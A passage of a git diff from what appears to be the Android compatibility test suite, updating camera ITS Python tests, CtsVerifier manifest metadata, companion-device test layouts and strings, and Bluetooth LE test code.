- req['android.control.aeMode'] = 2 # 'ON_AUTO_FLASH'
+ req['android.control.aeMode'] = _AE_MODE_ON_AUTO_FLASH
fmt = {'format': 'yuv', 'width': VGA_W, 'height': VGA_H}
- return cam.do_capture([req]*_NUM_FRAMES, fmt)
+ captures = []
+ for _ in range(_NUM_FRAMES):
+ one_capture = cam.do_capture(req, fmt)
+ captures.append(one_capture)
+ return captures
class AutoFlashTest(its_base_test.ItsBaseTest):
@@ -132,14 +139,10 @@
exp = int(metadata['android.sensor.exposureTime'])
iso = int(metadata['android.sensor.sensitivity'])
logging.debug('ISO: %d, exp: %d ns', iso, exp)
- if i == 0:
- logging.debug('AE_MODE (cap): %s',
- AE_MODES[metadata['android.control.aeMode']])
+ logging.debug('AE_MODE (cap): %s',
+ AE_MODES[metadata['android.control.aeMode']])
ae_state = AE_STATES[metadata['android.control.aeState']]
logging.debug('AE_STATE (cap): %s', ae_state)
- if ae_state != AE_STATES[4]: # FLASH_REQUIRED
- raise AssertionError('Scene not dark enough to trigger auto-flash. '
- 'Check scene.')
flash_exp_x_iso.append(exp*iso)
y, _, _ = image_processing_utils.convert_capture_to_planes(
caps[i], props)
@@ -153,6 +156,11 @@
image_processing_utils.write_image(
y, f'{test_name}_auto_flash_Y_{i}.jpg')
+ if i == 0:
+ if ae_state != AE_STATES[4]: # FLASH_REQUIRED
+ raise AssertionError('Scene not dark enough to trigger auto-flash. '
+ 'Check scene.')
+
# log results
logging.debug('Flash exposure X ISOs %s', str(flash_exp_x_iso))
logging.debug('Flash frames Y grads: %s', str(flash_grads))
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index b9427c7..e6eec9f 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -90,7 +90,8 @@
props = cam.get_camera_properties()
props = cam.override_with_hidden_physical_camera_props(props)
camera_properties_utils.skip_unless(
- camera_properties_utils.sensor_fusion_capable(props))
+ camera_properties_utils.sensor_fusion_capable(props) and
+ cam.get_sensors().get('gyro'))
# Start camera rotation.
p = multiprocessing.Process(
diff --git a/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py b/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py
index 98b6071..9c07d47 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py
@@ -23,9 +23,9 @@
from mobly import test_runner
import numpy as np
-import its_base_test
import camera_properties_utils
import image_processing_utils
+import its_base_test
import its_session_utils
import sensor_fusion_utils
@@ -41,8 +41,8 @@
_START_FRAME = 30 # give 3A 1s to warm up
_VIDEO_DELAY_TIME = 5.5 # seconds
_VIDEO_DURATION = 5.5 # seconds
-_VIDEO_QUALITIES_TESTED = ('QCIF:2', 'CIF:3', '480P:4', '720P:5', '1080P:6',
- 'QVGA:7', 'VGA:9')
+_VIDEO_QUALITIES_TESTED = ('CIF:3', '480P:4', '720P:5', '1080P:6', 'QVGA:7',
+ 'VGA:9')
_VIDEO_STABILIZATION_FACTOR = 0.6 # 60% of gyro movement allowed
_VIDEO_STABILIZATION_MODE = 1
@@ -213,7 +213,7 @@
# Extract camera rotations
img_h = frames[0].shape[0]
- file_name_stem = os.path.join(log_path, _NAME)
+ file_name_stem = f'{os.path.join(log_path, _NAME)}_{video_profile}'
cam_rots = sensor_fusion_utils.get_cam_rotations(
frames[_START_FRAME:len(frames)], facing, img_h,
file_name_stem, _START_FRAME)
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index e7b33f7..45eb773 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -1934,6 +1934,13 @@
android:value="android.hardware.type.automotive:android.software.lockscreen_disabled" />
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest" android:value=
+ "android.app.admin.DevicePolicyManager#ACTION_SET_NEW_PASSWORD|
+ android.app.admin.DevicePolicyManager#EXTRA_PASSWORD_COMPLEXITY|
+ android.app.admin.DevicePolicyManager#PASSWORD_COMPLEXITY_HIGH|
+ android.app.admin.DevicePolicyManager#PASSWORD_COMPLEXITY_MEDIUM|
+ android.app.admin.DevicePolicyManager#PASSWORD_COMPLEXITY_LOW|
+ android.app.admin.DevicePolicyManager#PASSWORD_COMPLEXITY_NONE" />
</activity>
<activity android:name=".security.SecurityModeFeatureVerifierActivity"
@@ -2878,6 +2885,11 @@
android:value="android.hardware.type.automotive"/>
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.hardware.camera2.CameraCharacteristics#FLASH_INFO_AVAILABLE|
+ android.hardware.camera2.CameraManager#setTorchMode|
+ android.hardware.camera2.CameraManager#registerTorchCallback|
+ android.hardware.camera2.CameraManager.TorchCallback#onTorchModeChanged"/>
</activity>
<activity android:name=".camera.performance.CameraPerformanceActivity"
@@ -6002,8 +6014,6 @@
<intent-filter>
<action android:name="android.telephony.VisualVoicemailService"/>
</intent-filter>
- <meta-data android:name="ApiTest"
- android:value="android.telephony.VisualVoicemailService#onCellServiceConnected|android.telephony.VisualVoicemailService#onSimRemoved"/>
</service>
<activity
diff --git a/apps/CtsVerifier/res/layout/companion_service_test_main.xml b/apps/CtsVerifier/res/layout/companion_service_test_main.xml
index a36a209..8244f6b 100644
--- a/apps/CtsVerifier/res/layout/companion_service_test_main.xml
+++ b/apps/CtsVerifier/res/layout/companion_service_test_main.xml
@@ -14,107 +14,84 @@
~ See the License for the specific language governing permissions and
~ limitations under the License.
-->
-<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="match_parent"
- android:layout_height="match_parent">
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical"
+ android:gravity="center_horizontal"
+ style="@style/RootLayoutPadding">
- <LinearLayout
+ <ScrollView
android:layout_width="match_parent"
- android:layout_height="wrap_content"
+ android:layout_height="0dp"
+ android:layout_weight="1"
android:orientation="vertical">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
- android:orientation="vertical">
-
- <LinearLayout
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:orientation="vertical">
-
- <TextView
- android:id="@+id/instructions"
- style="@style/InstructionsSmallFont"
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:layout_alignParentRight="true"
- android:layout_alignParentTop="true"
- android:layout_toRightOf="@id/status"
- android:text="@string/companion_service_test_info" />
-
- <LinearLayout
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:orientation="horizontal"
- android:layout_marginLeft="10dp">
- <Button
- android:id="@+id/go_button"
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:layout_alignParentRight="true"
- android:layout_marginLeft="20dip"
- android:layout_marginRight="20dip"
- android:layout_toRightOf="@id/status"
- android:text="@string/go_button_text" />
- </LinearLayout>
- </LinearLayout>
+ android:gravity="center_horizontal"
+ android:orientation="vertical" >
<TextView
- android:id="@+id/present_info"
- style="@style/InstructionsSmallFont"
+ android:id="@+id/companion_service_test_title"
android:layout_width="match_parent"
android:layout_height="wrap_content"
- android:layout_alignParentRight="true"
- android:layout_alignParentTop="true"
- android:layout_toRightOf="@id/status"
- android:layout_below="@id/gone_button"
- android:text="@string/companion_service_test_present_text" />
+ style="@style/InstructionsFont"/>
- <LinearLayout
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:orientation="horizontal"
- android:layout_marginLeft="10dp">
- <Button
- android:id="@+id/present_button"
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:layout_alignParentRight="true"
- android:layout_marginLeft="20dip"
- android:layout_marginRight="20dip"
- android:layout_toRightOf="@id/status"
- android:text="@string/present_button_text" />
- </LinearLayout>
-
+ <!-- The padding here matches what InstructionsFont has so that these look
+ nice together-->
<TextView
- android:id="@+id/gone_info"
- style="@style/InstructionsSmallFont"
+ android:id="@+id/companion_service_test_description"
android:layout_width="match_parent"
android:layout_height="wrap_content"
- android:layout_alignParentRight="true"
- android:layout_alignParentTop="true"
- android:layout_toRightOf="@id/status"
- android:layout_below="@id/go_button"
- android:text="@string/companion_service_test_gone_text" />
+ android:padding="10dp"
+ style="@style/InstructionsSmallFont"/>
- <LinearLayout
+ <Button
+ android:id="@+id/companion_service_test_button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_margin="24dp"/>
+
+ <!-- Used to display test state in cases where we verify a state -->
+ <TextView
+ android:id="@+id/companion_service_test_state"
android:layout_width="match_parent"
android:layout_height="wrap_content"
- android:orientation="horizontal"
- android:layout_marginLeft="10dp">
+ android:padding="10dp"
+ style="@style/InstructionsSmallFont"/>
+
+ <!-- Pass / fail buttons for the test step -->
+ <LinearLayout
+ android:id="@+id/button_layout"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:gravity="center_horizontal"
+ android:orientation="horizontal">
+
<Button
- android:id="@+id/gone_button"
- android:layout_width="match_parent"
+ android:id="@+id/test_step_passed"
+ android:layout_width="wrap_content"
android:layout_height="wrap_content"
- android:layout_alignParentRight="true"
- android:layout_marginLeft="20dip"
- android:layout_marginRight="20dip"
- android:layout_toRightOf="@id/status"
- android:text="@string/gone_button_text" />
+ android:text="@string/pass_button_text"/>
+
+ <Button
+ android:id="@+id/test_step_failed"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/fail_button_text"/>
+
</LinearLayout>
</LinearLayout>
- <include layout="@layout/pass_fail_buttons" />
- </LinearLayout>
-</ScrollView>
+
+ </ScrollView>
+
+ <include
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_weight="0"
+ layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/logcat_read_logs.xml b/apps/CtsVerifier/res/layout/logcat_read_logs.xml
index 11749c3..e7cf4ab 100644
--- a/apps/CtsVerifier/res/layout/logcat_read_logs.xml
+++ b/apps/CtsVerifier/res/layout/logcat_read_logs.xml
@@ -21,6 +21,17 @@
android:padding="10dip"
>
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:textAppearance="?android:attr/textAppearanceLarge"
+ android:text="Test should be executed at least 2 minutes apart"
+ android:id="@+id/run_read_logs_title"
+ android:layout_margin="2dp"
+ android:textSize="14sp"
+ android:textStyle="bold"
+ />
+
<Button android:id="@+id/run_read_logs_fg_allow_btn"
android:text="@string/read_logs_fg_allow_text"
android:layout_marginBottom="20dp"
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 9314c4d..4edf451 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -866,6 +866,7 @@
<string name="ble_mtu_mismatch_message">MTU is not correct.(Request:%1$d, Actual:%2$d)</string>
<string name="ble_mtu_fail_message">MTU test: failed to receive data</string>
+ <!-- Strings for CompanionDeviceTestActivity -->
<string name="companion_test">Companion Device Test</string>
<string name="companion_test_info">
This test checks that APIs to manage companion devices are working correctly,
@@ -876,30 +877,43 @@
Once you press the button, wait for a dialog to pop up and select your device from the list.
</string>
+ <!-- Strings for CompanionDeviceServiceTestActivity -->
+ <string name="companion_service_associate_button">Associate</string>
+ <string name="companion_service_associate_title">Device Association</string>
+ <string name="companion_service_associate_text">
+ Press the "Associate" button. Wait for a dialog to pop up and select your device from the
+ list.
+ </string>
+ <string name="companion_service_bluetooth_feature_title">Bluetooth Feature Supported</string>
+ <string name="companion_service_bluetooth_feature_text">
+ PackageManager.FEATURE_BLUETOOTH not supported. This test is not applicable.
+ </string>
+ <string name="companion_service_disassociate_button">Disassociate</string>
+ <string name="companion_service_disassociate_title">Device Disassociation</string>
+ <string name="companion_service_disassociate_text">
+ Press the "Disassociate" button. Wait for the device to disassociate.
+ </string>
+ <string name="companion_service_present_title">Device Present</string>
+ <string name="companion_service_present_text">
+ Make your Bluetooth device reachable (this should already be the case from the previous step).
+ Wait until your Bluetooth device is detected by CDM. This may take up to 2 minutes.
+ </string>
+ <string name="companion_service_gone_title">Device Gone</string>
+ <string name="companion_service_gone_text">
+ Make your Bluetooth device unreachable by placing your bluetooth device inside an RF Bag or
+ powering it off.
+ Wait until your Bluetooth device disappears. This may take up to 2 minutes.
+ </string>
<string name="companion_service_test">Companion Device Service Test</string>
<string name="companion_service_test_info">
This test checks that APIs to notify the companion app of its associated device going in and
- out of Bluetooth range are working correctly.
- Before proceeding, make sure you have a Bluetooth LE device nearby and
- discoverable. Also, make sure that bluetooth is turned on. Note that, the nearby device can
- not be a phone since it considers advertising as classic device scan.
- First, press the go button, wait for a dialog to pop up and select your device from the
- list. Second, make your Bluetooth device reachable then press the Device Present button.
- Lastly, make sure your bluetooth device is unreachable(you can power off your
- Bluetooth device or put it into a Faraday bag) and wait up to 2 minutes then press the
- Device Gone button.
+ out of Bluetooth range are working correctly.\n\n
+ Before proceeding, make sure that you have a Bluetooth LE device nearby and
+ discoverable. Also, make sure that bluetooth is turned on. (Note: the nearby device cannot
+ be a phone)
</string>
-
- <string name="companion_service_test_present_text">
- Now, please make your Bluetooth device is reachable and wait up to 10 to 20 seconds, then
- press the Device Present button.
- </string>
-
- <string name="companion_service_test_gone_text">
- Now, please make your Bluetooth device unreachable.
- Put your nearby bluetooth device into an RF Bag or power off your device and wait up to
- 2 minutes, then press the Device Gone button.
- </string>
+ <string name="companion_service_test_summary_title">Test Complete</string>
+ <string name="companion_service_test_summary">Every test passed successfully.</string>
<!-- Strings for FeatureSummaryActivity -->
<string name="feature_summary">Hardware/Software Feature Summary</string>
@@ -4376,6 +4390,34 @@
<string name="disallow_outgoing_beam">Disallow outgoing beam</string>
<string name="disallow_outgoing_beam_action">Switching on android beam</string>
<string name="disallow_remove_user">Disallow remove user</string>
+ <string name="check_new_user_disclaimer">Check new user disclaimer</string>
+ <string name="check_new_user_disclaimer_info">
+ Please do the following: \n\n
+ 1. Check persistent notification for managed device \n\n
+ a). Open the notification UI, verify that there is a notification saying the device is managed.\n
+ b). Tap the notification\n
+ c). It should show a dialog explaining the device is managed and asking the user to accept \n
+ d). Don\'t accept initially and tap outside the dialog \n
+ e). Open the notification UI again, verify that the managed device notification is still shown \n
+ \n
+ f). Click \"Set Org\", and open the notification UI again, verify that the organization name
+ \"Foo, Inc\" is shown on the dialog \n
+ \n\n
+ 2. Check adding account is restricted\n\n
+ a) Click \"Go\" to launch the \"Profiles & accounts\" setting \n
+ b) navigate to \"Add account\" \n
+ \n
+ Expected: \n
+ - \"Add account\" is disabled \n
+ - Click the button will launch the new user disclaimer dialog\n
+ \n
+ c) Click accept button\n
+ \n
+ Expected: \n
+ - the screen will be dismissed \n
+ - \"Add account\" will be enabled\n
+ - Click the button will take user to the screen to add account \n
+ </string>
<string name="device_owner_disallow_remove_user_info">
Please press \'Create uninitialized user\' to create a user that is not set up. Then press the
\'Set restriction\' button to set the user restriction.
@@ -6532,6 +6574,7 @@
<string name="ble_rx_tx_calibration_test_instructions">
To verify this requirement, work with your chip vendor. The chip vendor can measure the
channel flatness and identify the differences between cores and channels.
+ \nThe RSSI range must be less than or equal to 6 dBm to pass.
</string>
<string name="report_channels_ble_rssi_range">Report RSSI Range Across Channels (dBm)</string>
<string name="report_cores_ble_rssi_range">[Optional] Report RSSI Range Across Cores (dBm)</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
index e02b122..7411575 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
@@ -117,16 +117,15 @@
@Override
public void run() {
if (!mBluetoothAdapter.isEnabled()) {
- assertTrue(BtAdapterUtils.enableAdapter(mBluetoothAdapter,
- BleAdvertisingSetTestActivity.this));
// If BluetoothAdapter was previously not enabled, we need to get the
// BluetoothLeAdvertiser instance again.
+ mBluetoothAdapter.enable();
mAdvertiser = mBluetoothAdapter.getBluetoothLeAdvertiser();
}
try {
startAdvertisingSet();
- testEnableAndDisableAdvertising();
+ testDisableAndEnableAdvertising();
testSetAdvertisingData();
testSetAdvertisingParameters();
testPeriodicAdvertising();
@@ -139,8 +138,7 @@
}
// Disable bluetooth adapter
- assertTrue(BtAdapterUtils.disableAdapter(mBluetoothAdapter,
- BleAdvertisingSetTestActivity.this));
+ mBluetoothAdapter.disable();
BleAdvertisingSetTestActivity.this.runOnUiThread(new Runnable() {
@Override
@@ -182,19 +180,19 @@
mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_START);
}
- private void testEnableAndDisableAdvertising() throws InterruptedException {
+ private void testDisableAndEnableAdvertising() throws InterruptedException {
mCallback.reset();
- mCallback.mAdvertisingSet.get().enableAdvertising(/* enable= */ true, /* duration= */ 1,
- /* maxExtendedAdvertisingEvents= */ 1);
- assertTrue(mCallback.mAdvertisingEnabledLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
- assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingEnabledStatus.get());
-
mCallback.mAdvertisingSet.get().enableAdvertising(/* enable= */ false, /* duration= */ 1,
/* maxExtendedAdvertisingEvents= */ 1);
assertTrue(mCallback.mAdvertisingDisabledLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingDisabledStatus.get());
+ mCallback.mAdvertisingSet.get().enableAdvertising(/* enable= */ true, /* duration= */ 1,
+ /* maxExtendedAdvertisingEvents= */ 1);
+ assertTrue(mCallback.mAdvertisingEnabledLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingEnabledStatus.get());
+
mAllTestsPassed |= PASS_FLAG_ENABLE_DISABLE;
mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_ENABLE_DISABLE);
}
@@ -225,7 +223,7 @@
mCallback.reset();
mCallback.mAdvertisingSet.get().enableAdvertising(false, /* duration= */ 1,
- /* maxExtendedAdvertisingEvents= */1);
+ /* maxExtendedAdvertisingEvents= */ 1);
assertTrue(mCallback.mAdvertisingDisabledLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingDisabledStatus.get());
@@ -253,6 +251,11 @@
TimeUnit.MILLISECONDS));
assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingParametersUpdatedStatus.get());
+ // Let's make sure we disable periodic advertising
+ mCallback.mAdvertisingSet.get().setPeriodicAdvertisingEnabled(false);
+ assertTrue(mCallback.mPeriodicAdvertisingDisabledLatch.await(TIMEOUT_MS,
+ TimeUnit.MILLISECONDS));
+ assertEquals(ADVERTISE_SUCCESS, mCallback.mPeriodicAdvertisingDisabledStatus.get());
mCallback.mAdvertisingSet.get().setPeriodicAdvertisingParameters(
new PeriodicAdvertisingParameters.Builder().build());
assertTrue(mCallback.mPeriodicAdvertisingParamsUpdatedLatch.await(TIMEOUT_MS,
@@ -282,6 +285,7 @@
assertEquals(ADVERTISE_SUCCESS, mCallback.mPeriodicAdvertisingDisabledStatus.get());
mAllTestsPassed |= PASS_FLAG_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED;
+
mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index 746c894..3c1c58b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -59,10 +59,12 @@
// (termination signal will not be sent)
// This flag switches to turn Bluetooth off instead of BluetoothGatt#disconnect().
// If true, test will turn Bluetooth off. Otherwise, will call BluetoothGatt#disconnect().
- public static final boolean DISCONNECT_BY_TURN_BT_OFF_ON = (Build.VERSION.SDK_INT > Build.VERSION_CODES.M);
+ public static final boolean DISCONNECT_BY_TURN_BT_OFF_ON =
+ (Build.VERSION.SDK_INT > Build.VERSION_CODES.M);
// for Version 1 test
-// private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice.TRANSPORT_AUTO;
+// private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice
+// .TRANSPORT_AUTO;
// for Version 2 test
private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice.TRANSPORT_LE;
@@ -183,17 +185,21 @@
public static final String BLE_CLIENT_ACTION_CLIENT_DISCONNECT =
"com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_CLIENT_DISCONNECT";
public static final String BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION =
- "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION";
+ "com.android.cts.verifier.bluetooth"
+ + ".BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION";
public static final String BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION =
- "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION";
+ "com.android.cts.verifier.bluetooth"
+ + ".BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION";
public static final String BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION =
"com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION";
public static final String BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION =
"com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION";
public static final String BLE_CLIENT_ACTION_READ_AUTHENTICATED_CHARACTERISTIC =
- "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_AUTHENTICATED_CHARACTERISTIC";
+ "com.android.cts.verifier.bluetooth"
+ + ".BLE_CLIENT_ACTION_READ_AUTHENTICATED_CHARACTERISTIC";
public static final String BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_CHARACTERISTIC =
- "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_CHARACTERISTIC";
+ "com.android.cts.verifier.bluetooth"
+ + ".BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_CHARACTERISTIC";
public static final String BLE_CLIENT_ACTION_READ_AUTHENTICATED_DESCRIPTOR =
"com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_AUTHENTICATED_DESCRIPTOR";
public static final String BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_DESCRIPTOR =
@@ -282,7 +288,7 @@
UUID.fromString("00009955-0000-1000-8000-00805f9b34fb");
private static final UUID SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID =
- UUID.fromString("00009949-0000-1000-8000-00805f9b34fb");
+ UUID.fromString("00009949-0000-1000-8000-00805f9b34fb");
private static final UUID UPDATE_DESCRIPTOR_UUID =
UUID.fromString("00002902-0000-1000-8000-00805f9b34fb");
@@ -338,7 +344,8 @@
public void onCreate() {
super.onCreate();
- registerReceiver(mBondStatusReceiver, new IntentFilter(BluetoothDevice.ACTION_BOND_STATE_CHANGED));
+ registerReceiver(mBondStatusReceiver,
+ new IntentFilter(BluetoothDevice.ACTION_BOND_STATE_CHANGED));
mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
mBluetoothAdapter = mBluetoothManager.getAdapter();
@@ -403,7 +410,7 @@
reliableWrite();
}
});
- break;
+ break;
case BLE_CLIENT_ACTION_INDICATE_CHARACTERISTIC:
setNotification(INDICATE_CHARACTERISTIC_UUID, true);
break;
@@ -415,15 +422,20 @@
mNotifyCount = 16;
setNotification(UPDATE_CHARACTERISTIC_UUID, true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_1, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_1,
+ true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_2, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_2,
+ true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_3, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_3,
+ true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_4, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_4,
+ true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_5, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_5,
+ true);
waitForDisableNotificationCompletion();
setNotification(UPDATE_CHARACTERISTIC_UUID_6, true);
waitForDisableNotificationCompletion();
@@ -435,19 +447,24 @@
waitForDisableNotificationCompletion();
setNotification(UPDATE_CHARACTERISTIC_UUID_10, true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_11, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_11,
+ true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_12, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_12,
+ true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_13, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_13,
+ true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_14, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_14,
+ true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_15, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_15,
+ true);
waitForDisableNotificationCompletion();
}
});
- break;
+ break;
case BLE_CLIENT_ACTION_READ_DESCRIPTOR:
readDescriptor(DESCRIPTOR_UUID);
break;
@@ -486,7 +503,8 @@
readDescriptor(CHARACTERISTIC_RESULT_UUID, DESCRIPTOR_NEED_ENCRYPTED_READ_UUID);
break;
case BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_DESCRIPTOR:
- writeDescriptor(CHARACTERISTIC_RESULT_UUID, DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, WRITE_VALUE);
+ writeDescriptor(CHARACTERISTIC_RESULT_UUID,
+ DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, WRITE_VALUE);
break;
case BLE_CLIENT_ACTION_READ_PHY:
if (mBluetoothGatt != null) {
@@ -520,18 +538,35 @@
mTaskQueue.quit();
}
- public static BluetoothGatt connectGatt(BluetoothDevice device, Context context, boolean autoConnect, boolean isSecure, BluetoothGattCallback callback) {
+ /**
+ * Connect to GATT Server hosted by this device. Caller acts as GATT client.
+ * The callback is used to deliver results to Caller, such as connection status as well
+ * as any further GATT client operations.
+ * The method returns a BluetoothGatt instance. You can use BluetoothGatt to conduct
+ * GATT client operations.
+ *
+ * @param callback GATT callback handler that will receive asynchronous callbacks.
+ * @param autoConnect Whether to directly connect to the remote device (false) or to
+ * automatically connect as soon as the remote device becomes available (true).
+ * @param isSecure Whether to use transport mode for secure connection (true or false)
+ * @throws IllegalArgumentException if callback is null
+ */
+ public static BluetoothGatt connectGatt(BluetoothDevice device, Context context,
+ boolean autoConnect, boolean isSecure, BluetoothGattCallback callback) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
if (isSecure) {
if (TRANSPORT_MODE_FOR_SECURE_CONNECTION == BluetoothDevice.TRANSPORT_AUTO) {
- Toast.makeText(context, "connectGatt(transport=AUTO)", Toast.LENGTH_SHORT).show();
+ Toast.makeText(context, "connectGatt(transport=AUTO)",
+ Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
}
- return device.connectGatt(context, autoConnect, callback, TRANSPORT_MODE_FOR_SECURE_CONNECTION);
+ return device.connectGatt(context, autoConnect, callback,
+ TRANSPORT_MODE_FOR_SECURE_CONNECTION);
} else {
Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
- return device.connectGatt(context, autoConnect, callback, BluetoothDevice.TRANSPORT_LE);
+ return device.connectGatt(context, autoConnect, callback,
+ BluetoothDevice.TRANSPORT_LE);
}
} else {
